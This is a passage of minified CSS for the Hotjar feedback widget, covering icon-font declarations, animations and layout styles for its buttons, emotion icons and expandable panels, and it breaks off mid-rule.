*::after{box-sizing:border-box}@font-face{font-family:'hotjar';src:url(https://script.hotjar.com/font-hotjar_5.f4b154.eot);src:url(https://script.hotjar.com/font-hotjar_5.f4b154.eot#iefix) format("embedded-opentype"),url(https://script.hotjar.com/font-hotjar_5.65042d.woff2) format("woff2"),url(https://script.hotjar.com/font-hotjar_5.0ddfe2.ttf) format("truetype"),url(https://script.hotjar.com/font-hotjar_5.17b429.woff) format("woff"),url(https://script.hotjar.com/font-hotjar_5.2c7ab2.svg#hotjar) format("svg");font-weight:normal;font-style:normal}@keyframes _hj-2_XBq__styles__spin{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes _hj-2XM9T__styles__colors{0%{border-color:#f4364c;border-top-color:transparent}25%{border-color:#00a2f2;border-top-color:transparent}50%{border-color:#efb60c;border-top-color:transparent}75%{border-color:#42ca49;border-top-color:transparent}100%{border-color:#f4364c;border-top-color:transparent}}._hj-1oVIF__styles__globalStyles p{color:inherit !important}._hj-1oVIF__styles__globalStyles a,._hj-1oVIF__styles__globalStyles a:link,._hj-1oVIF__styles__globalStyles a:hover,._hj-1oVIF__styles__globalStyles a:active{color:inherit !important;text-decoration:underline}._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon{speak:none !important;font-style:normal !important;font-weight:normal !important;font-variant:normal !important;text-transform:none !important;overflow-wrap:normal !important;word-break:normal !important;word-wrap:normal !important;white-space:nowrap !important;line-height:normal !important;-webkit-font-smoothing:antialiased !important;-moz-osx-font-smoothing:grayscale !important;vertical-align:middle !important}._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon,._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon:before,._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon:after,._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon *,._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon *:before,._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon *:after{font-family:'hotjar' !important;display:inline-block !important;direction:ltr !important}._hj-1oVIF__styles__globalStyles ._hj-3e6MN__styles__icon:before{color:inherit !important}._hj-1oVIF__styles__globalStyles ._hj-CoyQX__styles__iconX:before{content:'\e803'}._hj-1oVIF__styles__globalStyles ._hj-1iDhT__styles__iconOk:before{content:'\e804'}._hj-1oVIF__styles__globalStyles ._hj-3Xspj__styles__iconError:before{content:'\e90c'}._hj-1oVIF__styles__globalStyles ._hj-2lzo3__styles__iconLogo:before{content:'\e806'}._hj-1oVIF__styles__globalStyles ._hj-2cKCe__styles__iconSelectElement:before{content:'\e91a'}._hj-1oVIF__styles__globalStyles ._hj-3Iftt__styles__surveyIcons{background-repeat:no-repeat;width:16px;height:16px;display:inline-block !important;zoom:1;vertical-align:middle}._hj-widget-theme-light ._hj-1oVIF__styles__globalStyles ._hj-3Iftt__styles__surveyIcons{background-image:url(https://script.hotjar.com/widget_icons_light.766225.png)}._hj-widget-theme-dark ._hj-1oVIF__styles__globalStyles ._hj-3Iftt__styles__surveyIcons{background-image:url(https://script.hotjar.com/widget_icons_dark.ad934a.png)}._hj-1oVIF__styles__globalStyles ._hj-FAirH__styles__inputField{font-family:Arial, sans-serif, Tahoma;font-size:14px;color:#333 !important;padding:6px !important;text-indent:0 !important;height:30px;width:100%;min-width:100%;background:white;border:1px solid !important;outline:none !important;max-width:none !important;float:none;border-radius:3px}._hj-1oVIF__styles__globalStyles ._hj-1l8ti__styles__textarea{resize:none;height:100px}._hj-1oVIF__styles__globalStyles ._hj-3lRYa__styles__basicButton,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton{cursor:pointer;text-decoration:none;text-transform:capitalize;font-size:13px;font-weight:bold;padding:7px 10px;border:0;outline:0;display:inline-block;vertical-align:top;width:auto;zoom:1;transition:all 0.2s ease-in-out;box-shadow:0 2px 3px 0 rgba(0,0,0,0.15);border-radius:3px;color:white}._hj-1oVIF__styles__globalStyles ._hj-3lRYa__styles__basicButton:hover,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:hover,._hj-1oVIF__styles__globalStyles ._hj-3lRYa__styles__basicButton:focus,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:focus,._hj-1oVIF__styles__globalStyles ._hj-3lRYa__styles__basicButton:active,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:active{background:#00a251}._hj-1oVIF__styles__globalStyles ._hj-3lRYa__styles__basicButton[disabled],._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton[disabled]{cursor:default}._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton{font-size:13px !important;font-weight:bold !important;padding:7px 10px !important;border:0 !important;outline:0 !important;min-height:initial !important;width:auto !important;min-width:initial !important;background:#00c764 !important}._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:hover,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:focus,._hj-1oVIF__styles__globalStyles ._hj-qnMJa__styles__primaryButton:active{background:#00a251 !important}._hj-1oVIF__styles__globalStyles ._hj-3OscV__styles__clearButton{cursor:pointer;text-decoration:underline;font-size:13px !important;padding:7px 10px !important;border:0 !important}._hj-1oVIF__styles__globalStyles ._hj-3OscV__styles__clearButton,._hj-1oVIF__styles__globalStyles ._hj-3OscV__styles__clearButton:hover,._hj-1oVIF__styles__globalStyles ._hj-3OscV__styles__clearButton:focus,._hj-1oVIF__styles__globalStyles ._hj-3OscV__styles__clearButton:active{background:transparent !important}._hj-1oVIF__styles__globalStyles ._hj-1VCjG__styles__answersContentWrapper{padding:0 12px 12px 12px}._hj-1oVIF__styles__globalStyles ._hj-28B7I__styles__spinner{border:1px solid rgba(0,0,0,0.6);border-top-color:transparent !important;border-radius:50%;transform:rotate(0deg);animation:_hj-2_XBq__styles__spin 0.4s linear infinite, _hj-2XM9T__styles__colors 5.6s ease-in-out infinite}._hj-1oVIF__styles__globalStyles ._hj-m4gkf__styles__widget{font-size:13px !important;position:fixed;z-index:2147483640;bottom:-400px;right:100px;width:300px;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0;-webkit-transform:translateZ(0) !important;transform:translateZ(0) !important}._hj-1l8ti__styles__textarea{}._hj-CoyQX__styles__iconX,._hj-1iDhT__styles__iconOk,._hj-3Xspj__styles__iconError,._hj-2lzo3__styles__iconLogo,._hj-2cKCe__styles__iconSelectElement{}._hj-tAwr3__styles__rtl,._hj-tAwr3__styles__rtl *{direction:rtl !important}._hj-21C9N__styles__roundedCorners{border-radius:3px}
</style><style>._hj_feedback_container ._hj-1qvel__Feedback__feedback,._hj_feedback_container ._hj-1qvel__Feedback__feedback *{font-family:'Helvetica Neue', Helvetica, Arial, sans-serif !important;-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}._hj-1Fv4C__Feedback__container{position:relative;z-index:2147483640}._hj-1qvel__Feedback__feedback{position:fixed;color:#333333}._hj-1qvel__Feedback__feedback button{height:auto;min-height:auto;opacity:1;border:none}._hj-1qvel__Feedback__feedback textarea{margin:0;min-height:auto;box-shadow:none}._hj-1qvel__Feedback__feedback input{margin:0;height:auto}._hj-1qvel__Feedback__feedback input::placeholder,._hj-1qvel__Feedback__feedback textarea::placeholder{color:#636c72;font-weight:normal;opacity:1}._hj-1qvel__Feedback__feedback._hj-1Pi-E__Feedback__rtl{direction:rtl}._hj-1qvel__Feedback__feedback._hj-3PV3w__Feedback__hidden{display:none !important;pointer-events:none}
</style><style>._hj_feedback_container ._hj-21t0-__MinimizedWidgetMiddle__label{font-size:13px;position:relative;border:none;outline:none;padding:12px 14px 12px 12px;cursor:pointer;white-space:nowrap;background-color:#f4364c !important;background-color:var(--hjFeedbackAccentColor, #f4364c) !important;transition:transform 0.1s ease-in-out, box-shadow 0.1s ease-in-out;opacity:0.96;width:40px;display:flex;flex-direction:column;align-items:flex-start}._hj_feedback_container ._hj-21t0-__MinimizedWidgetMiddle__label:hover{box-shadow:0 0 35px 2px rgba(0,0,0,0.24);opacity:1}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container{position:fixed;top:50%;transform:translateY(-50%);box-sizing:border-box !important;display:block;direction:ltr !important}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-1QnQT__MinimizedWidgetMiddle__right{right:0}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-1QnQT__MinimizedWidgetMiddle__right ._hj-21t0-__MinimizedWidgetMiddle__label{border-radius:3px 0 0 3px;transform:translateX(2px)}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-1QnQT__MinimizedWidgetMiddle__right ._hj-21t0-__MinimizedWidgetMiddle__label:hover{transform:translateX(0)}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-1QnQT__MinimizedWidgetMiddle__right ._hj-1BBmz__MinimizedWidgetMiddle__message{right:40px}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-uSKNz__MinimizedWidgetMiddle__left{left:0}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-uSKNz__MinimizedWidgetMiddle__left ._hj-21t0-__MinimizedWidgetMiddle__label{border-radius:0 3px 3px 0;transform:translateX(-2px)}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-uSKNz__MinimizedWidgetMiddle__left ._hj-21t0-__MinimizedWidgetMiddle__label:hover{transform:translateX(0)}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container._hj-uSKNz__MinimizedWidgetMiddle__left ._hj-1BBmz__MinimizedWidgetMiddle__message{left:40px}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-1uQd9__MinimizedWidgetMiddle__text{overflow-wrap:normal !important;word-break:normal !important;word-wrap:normal !important;white-space:nowrap !important;filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);cursor:pointer;-ms-writing-mode:tb-rl;-webkit-writing-mode:vertical-lr;writing-mode:vertical-lr;transform:rotate(180deg);color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-1uQd9__MinimizedWidgetMiddle__text._hj-aALoB__MinimizedWidgetMiddle__language_ja,._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-1uQd9__MinimizedWidgetMiddle__text._hj-3tOMm__MinimizedWidgetMiddle__language_ko,._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-1uQd9__MinimizedWidgetMiddle__text._hj-3BHEL__MinimizedWidgetMiddle__language_zh_CN,._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-1uQd9__MinimizedWidgetMiddle__text._hj-1YM-C__MinimizedWidgetMiddle__language_zh_TW{transform:none}._hj_feedback_container ._hj-1O2Rr__MinimizedWidgetMiddle__container ._hj-u1G5O__MinimizedWidgetMiddle__emotionIcon{height:18px;margin:10px 0 0 -3px;font-size:14px}._hj-1BBmz__MinimizedWidgetMiddle__message{position:absolute;bottom:3px}
</style><style>._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault *:before{margin-left:-1.3984375em}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault ._hj-3obO5__EmotionIconDefault__commentIcon:before{content:'\e900';margin:0}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault ._hj-3obO5__EmotionIconDefault__commentIcon:before,._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault ._hj-2RA7u__EmotionIconDefault__expressionIcon._hj-150gX__EmotionIconDefault__invert:before{color:#f4364c !important;color:var(--hjFeedbackAccentColor, #f4364c) !important}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault ._hj-3obO5__EmotionIconDefault__commentIcon._hj-150gX__EmotionIconDefault__invert:before,._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-2A--k__EmotionIconDefault__hate ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e901'}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-3MmlH__EmotionIconDefault__dislike ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e903'}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-3wP_c__EmotionIconDefault__neutral ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e905'}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-1BEBR__EmotionIconDefault__like ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e907'}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-C93zO__EmotionIconDefault__love ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e909'}._hj_feedback_container ._hj-qoDG___EmotionIconDefault__iconEmotionDefault._hj-3Kg_n__EmotionIconDefault__wink ._hj-2RA7u__EmotionIconDefault__expressionIcon:before{content:'\e90b'}._hj-qoDG___EmotionIconDefault__iconEmotionDefault{}
</style><style>._hj-24J4R__MinimizedWidgetMessage__close{}._hj_feedback_container ._hj-24J4R__MinimizedWidgetMessage__close{opacity:0;position:absolute;top:-9px;right:-9px;width:21px;height:21px !important;border-radius:50%;font-size:11px;line-height:21px !important;text-align:center;cursor:pointer;border:none;outline:none;color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;background:#f4364c !important;background:var(--hjFeedbackAccentColor, #f4364c) !important}._hj-1BgOO__MinimizedWidgetMessage__message{position:relative;padding:12px 15px !important;margin:0 18px !important;width:180px;text-align:center;font-size:12px !important;cursor:pointer;box-shadow:0 2px 18px 0 rgba(0,0,0,0.3);box-sizing:border-box;background-color:#ffffff !important;background-color:var(--hjFeedbackBackgroundColor, #fff) !important;bottom:-7px}._hj-1BgOO__MinimizedWidgetMessage__message:before{content:'';width:1px;height:1px;position:absolute;bottom:13px;border-top:6px solid transparent;border-bottom:6px solid transparent}._hj-1BgOO__MinimizedWidgetMessage__message:hover{box-shadow:0 2px 24px 0 rgba(0,0,0,0.33)}._hj-1BgOO__MinimizedWidgetMessage__message:hover ._hj-24J4R__MinimizedWidgetMessage__close,._hj-1BgOO__MinimizedWidgetMessage__message._hj-2znwv__MinimizedWidgetMessage__phone ._hj-24J4R__MinimizedWidgetMessage__close,._hj-1BgOO__MinimizedWidgetMessage__message._hj-1PW91__MinimizedWidgetMessage__tablet ._hj-24J4R__MinimizedWidgetMessage__close{opacity:1 !important}._hj-1BgOO__MinimizedWidgetMessage__message._hj-2UbVi__MinimizedWidgetMessage__left:before{left:-7px;border-right:7px solid #ffffff !important;border-right:7px solid var(--hjFeedbackBackgroundColor, #fff) !important}._hj-1BgOO__MinimizedWidgetMessage__message._hj-2RQFa__MinimizedWidgetMessage__right:before{right:-7px;border-left:7px solid #ffffff !important;border-left:7px solid var(--hjFeedbackBackgroundColor, #fff) !important}._hj-2ObUs__MinimizedWidgetMessage__messageText{color:#333333 !important;color:var(--hjFeedbackDarkGray, #333) !important}
</style><style>._hj_feedback_container ._hj-3ZiaL__MinimizedWidgetBottom__container{position:fixed;bottom:33px;display:flex;align-items:flex-end}._hj_feedback_container ._hj-3ZiaL__MinimizedWidgetBottom__container>*{-ms-flex:1 0 auto}._hj_feedback_container ._hj-3ZiaL__MinimizedWidgetBottom__container._hj-1JS2b__MinimizedWidgetBottom__right{flex-direction:row-reverse;right:32px}._hj_feedback_container ._hj-3ZiaL__MinimizedWidgetBottom__container._hj-4a_14__MinimizedWidgetBottom__left{left:32px}._hj-3J5sV__MinimizedWidgetBottom__open{font-size:37px !important;border:none;background:none !important;outline:none;overflow:visible;position:relative;opacity:0.96 !important}._hj-3J5sV__MinimizedWidgetBottom__open:hover{opacity:1 !important}._hj-3J5sV__MinimizedWidgetBottom__open._hj-4a_14__MinimizedWidgetBottom__left{left:-7px}._hj-3J5sV__MinimizedWidgetBottom__open._hj-4a_14__MinimizedWidgetBottom__left,._hj-3J5sV__MinimizedWidgetBottom__open._hj-1JS2b__MinimizedWidgetBottom__right{bottom:-3px}._hj-3J5sV__MinimizedWidgetBottom__open:hover>div:before{box-shadow:0 2px 18px 18px rgba(0,0,0,0.65)}._hj-3J5sV__MinimizedWidgetBottom__open>div{position:relative;cursor:pointer}._hj-3J5sV__MinimizedWidgetBottom__open>div:before{content:'';z-index:-1;position:absolute;bottom:20px;left:25px;background:rgba(0,0,0,0.48);width:6px;height:1px;box-shadow:0 2px 18px 18px rgba(0,0,0,0.48);transition:all 0.2s ease-in-out}._hj-3J5sV__MinimizedWidgetBottom__open>div span{line-height:1;vertical-align:bottom}._hj-2NdsM__MinimizedWidgetBottom__close{width:44px;height:37px !important;font-size:20px;text-align:center !important;border:none;outline:none;border-radius:5px;box-shadow:0 2px 10px 1px rgba(0,0,0,0.18);cursor:pointer;color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;background-color:#f4364c !important;background-color:var(--hjFeedbackAccentColor, #f4364c) !important}._hj-3By9E__MinimizedWidgetBottom__iconX{}
</style><style>@keyframes _hj-IT3tA__ExpandedWidget__slideInLeft{0%{transform:translateX(-350px) translateY(-50%);opacity:0}100%{transform:translateX(0px) translateY(-50%);opacity:1}}@keyframes _hj-e2Lsj__ExpandedWidget__slideOutLeft{0%{transform:translateX(0px) translateY(-50%);opacity:1}100%{transform:translateX(-350px) translateY(-50%);opacity:0}}@keyframes _hj-T080I__ExpandedWidget__slideInRight{0%{transform:translateX(350px) translateY(-50%);opacity:0}100%{transform:translateX(0px) translateY(-50%);opacity:1}}@keyframes _hj-1MPgP__ExpandedWidget__slideOutRight{0%{transform:translateX(0px) translateY(-50%);opacity:1}100%{transform:translateX(350px) translateY(-50%);opacity:0}}@keyframes _hj-YQqFU__ExpandedWidget__slideInBottom{0%{transform:translateY(18px);opacity:0}100%{transform:translateY(0px);opacity:1}}@keyframes _hj-mHCiX__ExpandedWidget__slideOutBottom{0%{transform:translateY(0px);opacity:1}100%{transform:translateY(18px);opacity:0;background:red}}@keyframes _hj-2BeCU__ExpandedWidget__slideInBottomMobile{0%{transform:translateY(20px);opacity:0}100%{transform:translateY(0px);opacity:1}}@keyframes _hj-29CBv__ExpandedWidget__slideOutBottomMobile{0%{transform:translateY(0px);opacity:1}100%{transform:translateY(20px);opacity:0}}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer{width:320px;display:flex;z-index:10;position:fixed}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-IT3tA__ExpandedWidget__slideInLeft{animation:_hj-IT3tA__ExpandedWidget__slideInLeft 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-e2Lsj__ExpandedWidget__slideOutLeft{animation:_hj-e2Lsj__ExpandedWidget__slideOutLeft 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-T080I__ExpandedWidget__slideInRight{animation:_hj-T080I__ExpandedWidget__slideInRight 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1MPgP__ExpandedWidget__slideOutRight{animation:_hj-1MPgP__ExpandedWidget__slideOutRight 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-2nT32__ExpandedWidget__middle{top:50%}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-oic8F__ExpandedWidget__bottom{bottom:92px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-oic8F__ExpandedWidget__bottom._hj-IT3tA__ExpandedWidget__slideInLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-oic8F__ExpandedWidget__bottom._hj-T080I__ExpandedWidget__slideInRight{animation:_hj-YQqFU__ExpandedWidget__slideInBottom 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-oic8F__ExpandedWidget__bottom._hj-e2Lsj__ExpandedWidget__slideOutLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-oic8F__ExpandedWidget__bottom._hj-1MPgP__ExpandedWidget__slideOutRight{animation:_hj-mHCiX__ExpandedWidget__slideOutBottom 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-2QRXQ__ExpandedWidget__right{right:32px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-ytB0a__ExpandedWidget__left{left:32px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet{width:100%;max-width:420px;padding:0 20px;top:auto;bottom:20px;position:fixed;left:0;right:0}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-IT3tA__ExpandedWidget__slideInLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-T080I__ExpandedWidget__slideInRight,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-IT3tA__ExpandedWidget__slideInLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-T080I__ExpandedWidget__slideInRight{animation:_hj-2BeCU__ExpandedWidget__slideInBottomMobile 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-e2Lsj__ExpandedWidget__slideOutLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-1MPgP__ExpandedWidget__slideOutRight,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-e2Lsj__ExpandedWidget__slideOutLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-1MPgP__ExpandedWidget__slideOutRight{animation:_hj-29CBv__ExpandedWidget__slideOutBottomMobile 300ms forwards}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone ._hj-2JN4b__ExpandedWidget__closeButton,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet ._hj-2JN4b__ExpandedWidget__closeButton{right:40px;height:36px;width:36px;font-size:18px;top:-18px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize{top:0;bottom:0;padding:0;max-width:100%}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize._hj-IT3tA__ExpandedWidget__slideInLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize._hj-T080I__ExpandedWidget__slideInRight,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize._hj-e2Lsj__ExpandedWidget__slideOutLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize._hj-1MPgP__ExpandedWidget__slideOutRight,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize._hj-IT3tA__ExpandedWidget__slideInLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize._hj-T080I__ExpandedWidget__slideInRight,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize._hj-e2Lsj__ExpandedWidget__slideOutLeft,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize._hj-1MPgP__ExpandedWidget__slideOutRight{animation:none}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize ._hj-3PSb0__ExpandedWidget__innerContainer,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize ._hj-3PSb0__ExpandedWidget__innerContainer{box-shadow:none;overflow:auto}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-266vF__ExpandedWidget__phone._hj-lIao0__ExpandedWidget__fullSize ._hj-2JN4b__ExpandedWidget__closeButton,._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-1er9c__ExpandedWidget__tablet._hj-lIao0__ExpandedWidget__fullSize ._hj-2JN4b__ExpandedWidget__closeButton{background-color:transparent !important;color:#333333 !important;top:10px;right:10px;font-size:22px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer ._hj-2JN4b__ExpandedWidget__closeButton{right:20px;position:absolute;top:-13px;font-size:15px;width:27px;height:27px;cursor:pointer;border-radius:50%;border-bottom-style:none;border-width:0;color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;background-color:#f4364c !important;background-color:var(--hjFeedbackAccentColor, #f4364c) !important}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer ._hj-2JN4b__ExpandedWidget__closeButton i:before{line-height:27px}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer ._hj-2JN4b__ExpandedWidget__closeButton:focus{outline:none !important}._hj_feedback_container ._hj-XVgG4__ExpandedWidget__outerContainer._hj-2-ELJ__ExpandedWidget__preview{animation-duration:0s}._hj_feedback_container ._hj-3PSb0__ExpandedWidget__innerContainer{width:100%;background-color:#fff;box-shadow:rgba(0,0,0,0.35) 0 6px 100px 0}
</style><style>@keyframes _hj-25c5E__EmotionOption__fadeIn{0%{transform:translateY(50px);opacity:0}100%{transform:translateY(0);opacity:1}}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption{font-size:30px;width:20%;text-align:center;background:none !important;border:none;cursor:pointer;outline:none;box-shadow:none;display:block}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-243uY__EmotionOption__tablet ._hj-1t1uU__EmotionOption__iconEmotion{margin-top:5px;margin-bottom:10px}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-25c5E__EmotionOption__fadeIn{opacity:0;animation:_hj-25c5E__EmotionOption__fadeIn 0.2s cubic-bezier(0.175, 0.885, 0.32, 1.35) .3s forwards}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-25c5E__EmotionOption__fadeIn:nth-of-type(2){animation-delay:.4s}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-25c5E__EmotionOption__fadeIn:nth-of-type(3){animation-delay:.475s}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-25c5E__EmotionOption__fadeIn:nth-of-type(4){animation-delay:.55s}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-25c5E__EmotionOption__fadeIn:nth-of-type(5){animation-delay:.625s}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-r-5pm__EmotionOption__EmotionOptionDimmed{opacity:0.5 !important}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-31Pq6__EmotionOption__EmotionOptionGreyedOut ._hj-38GOd__EmotionOption__commentIcon::before{color:#ccc}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-31Pq6__EmotionOption__EmotionOptionGreyedOut ._hj-IA3iM__EmotionOption__iconEmotionSmiley ._hj-2OZKe__EmotionOption__expressionIcon::before{color:#ccc}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-3WrTX__EmotionOption__EmotionOptionWithIndicator::after{content:'';display:block;margin:5px auto 0;width:1px;height:1px;border-left:4px solid transparent;border-right:4px solid transparent;border-bottom:5px solid #eaeaeb}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-3WrTX__EmotionOption__EmotionOptionWithIndicator._hj-2_wOI__EmotionOption__phone::after,._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-3WrTX__EmotionOption__EmotionOptionWithIndicator._hj-243uY__EmotionOption__tablet::after{margin-top:25px}._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption._hj-2qJpR__EmotionOption__EmotionOptionForceLabel ._hj-1AEfg__EmotionOption__EmotionText,._hj_feedback_container ._hj-1SWx9__EmotionOption__EmotionOption:hover ._hj-1AEfg__EmotionOption__EmotionText,._hj_feedback_container 